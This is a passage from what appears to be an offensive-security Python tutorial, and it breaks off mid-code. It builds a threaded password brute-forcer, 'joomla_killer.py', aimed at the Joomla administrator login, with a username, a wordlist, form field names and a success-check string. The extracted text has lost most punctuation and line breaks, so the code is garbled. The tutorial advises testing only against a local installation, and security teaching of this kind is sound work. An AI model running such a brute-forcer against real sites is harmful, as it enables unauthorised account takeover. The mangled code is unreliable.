stored cookies test to see if we have successfully logged in to the web application you can see that we are going to be utilizing some new and valuable techniques in this script will also mention that you should never "trainyour tooling on live targetalways set up an installation of your target web application with known credentials and verify that you get the desired results let' open new python file named joomla_killer py and enter the following codeimport urllib import urllib import cookielib import threading import sys import queue from htmlparser import htmlparser general settings user_thread username "adminwordlist_file "/tmp/cain txtresume none target specific settings target_url "target_post username_field"usernamepassword_field"passwdsuccess_check "administration control panelthese general settings deserve bit of explanation the target_url variable is where our script will first download and parse the html the target_post variable is where we will submit our brute-forcing attempt based on our brief analysis of the html in the joomla loginwe can set the username_field and password_field variables to the appropriate name of the html elements our success_check variable is string that we'll check for after each brute-forcing attempt in order to determine whether we are successful or not let' now create the plumbing for our brute forcersome of the following code will be familiar so 'll only highlight the newest techniques class bruter(object)def __init__(selfusernamewords)self username username self password_q words self found false print "finished setting up for%susername def run_bruteforce(self)for in range(user_thread) threading thread(target=self web_brutert start(def web_bruter(self)while not self password_q empty(and not self foundbrute self password_q get(rstrip(jar cookielib filecookiejar("cookies"opener urllib build_opener(urllib httpcookieprocessor(jar)